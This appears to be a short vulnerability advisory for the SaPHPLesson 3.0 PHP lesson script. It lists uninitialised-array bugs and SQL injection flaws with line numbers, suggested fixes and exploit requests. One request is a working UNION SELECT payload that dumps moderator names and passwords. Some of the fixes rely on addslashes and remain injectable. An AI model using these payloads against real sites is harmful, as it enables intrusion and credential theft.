SaPHPLesson 3.0 Multbugs

[o.y.6@hotmail.com]

SaPHPLesson 3.0 Multbugs By :-- D3vil-0x1 | Devil-00 --:

1- Unfilter array

Filename :- show.php
Line :- 102



$hrow[] = $Row2;

Fix :-

Add To Line [ 11 ] /show.php This Code :-

we add the code to global to fix all unfilter ver. at the code :)



$hrow = array();

Exploit :-

GET ^
/lessons/show.php?lessid=1&hrow=D3vil-0x1

/---------------------------------------------------------/

2- Unfilter array

Filename :- showcat.php
Line :- 80



$Lsnrow[] = $Row;

Fix :-

Add To Line [ 11 ] /showcat.php This Code :-

we add the code to global to fix all unfilter ver. at the code :)



$Lsnrow = array();

Exploit :-

GET ^

/lessons/showcat.php?forumid=1&Lsnrow=D3vil-0x1

/---------------------------------------------------------/

3- SQL Injection

Filename :- search.php
Line :- MultLines

Fix :-

Line 28 Replace It With



$Sql = "select * from less,forums where less.Hidden!=1 and BINARY less.".addslashes($Find)." REGEXP'$Word' and forums.id=less.forumno order by ".addslashes($Order)." ".addslashes($Trteb)."";

Line 32 Replace It With



$Sql = "select * from less,forums where less.Hidden!=1 and BINARY less.$Find REGEXP'%$Word%' and less.forumno='".addslashes($Cat)."' and forums.id=less.forumno order by ".addslashes($Order)." ".addslashes($Trteb)."";

Exploit :-

POST ^

Word=a&Find=lesstitle UNION ALL SELECT null,null,null,ModName,null,null,null,null,ModPass word,null,null,null,null,null,null,null,null,null, null,null FROM modretor/*&Cat=All&Order=lessid&Trteb=DESC

/---------------------------------------------------------/

4- SQL Injection

Filename :- misc.php
Line :- 64

Fix :-
Replace Line 62 & 63 With This Code



$LID = intval($_GET["LID"]);
$Rate = intval($_POST["Rate"]);

/---------------------------------------------------------/

5- Unfilter array

Filename :- index.php
Line :- 24



$rows[] = $Row;

Fix :-

Add To Line [ 11 ] /index.php This Code :-

we add the code to global to fix all unfilter ver. at the code :)



$rows = array();
$hrow = array();

Exploit :-

GET ^

/saphplesson/index.php?rows=D3vil-x01